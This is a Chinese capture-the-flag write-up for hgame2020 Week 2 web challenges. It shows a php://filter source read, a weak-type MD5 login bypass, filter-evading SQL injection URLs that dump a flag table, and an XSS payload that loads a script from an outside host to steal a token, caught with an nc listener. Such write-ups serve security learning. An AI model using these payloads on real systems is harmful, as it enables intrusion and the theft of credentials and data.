hgame2020-Level-Week2_Web_writeup
Cosmos的博客后台
打开题目,首先用伪协议读取index.php
,login.php
,admin.php
php://filter/convert.base64-encode/resource=index.php
index.php
1 |
|
login.php
1 | <?php |
admin.php
1 | <?php |
首先在login.php
中的第12行
存在环境变量的读取,这里我们可以获取到username和md5加密后的密码值
我们接着看login.php
的第22行
,这里密码比较是存在弱类型,所以可以用加密后也是0e
开头的字符串即可绕过
接下来我们来看admin.php
,这里host必须为localhost,且可以使用任何协议,直接用file协议进行读取
然后进行base64解码即可
Cosmos的留言板-1
通过fuzz判断这里把select
和空格替换为空了
select
绕过
1 | http://139.199.182.61/index.php?id='^(length('selselectect')=6)^' |
空格过滤绕过
1 | http://139.199.182.61/index.php?id='^(length('%20')=1)^' |
查询字段,这里只有一个字段
1 | http://139.199.182.61/index.php?id=1'%0aorder%0aby%0a1%23 |
查看可显字段
1 | http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0a(1)%23 |
查询库名
1 | http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0adatabase()%23 |
查询表名
1 | http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0a(sselectelect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())%23 |
查询值
1 | http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0a(seleselectct%0a*%0afrom%0aeasysql.f1aggggggggggggg)%23 |
Cosmos的新语言
index.php
页面内容如下
1 |
|
fuzz猜测/mycode
果然存在,如下
1 | function encrypt($str){ |
然后就是解密,这里python
涉及到编码转换问题,比较麻烦,所以我使用php
来逆向解密,关键问题是code
代码中的解密部分会一直改变,所以需要先抓取,其他就按一般步骤来就好了,下面是我的exp
。有可能第一次跑不出flag,多运行几遍代码就可以出flag了
exp.php
1 |
|
Cosmos的聊天室(这题是赛后复现的)
首先进行fuzz,这里过滤了<>
中的内容、script
、iframe
等,并且所有字母会被大写
4.js
1 | var image=new Image(); |
原始payload:
1 | <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://118.25.36.154/4.js';// |
由于尖括号不能两个同时存在,我们可以使用<
,浏览器会自动帮我们闭合。函数我们可以使用html编码绕过。
//
的原因是要注释掉插入聊天框后的<span>
bypass payload:
1 | <img src=x onerror=S=createElement("script");body.appendChild(S);S.src="http://118.25.36.154/4.js"// |
然后nc监听
最后替换token即可获得flag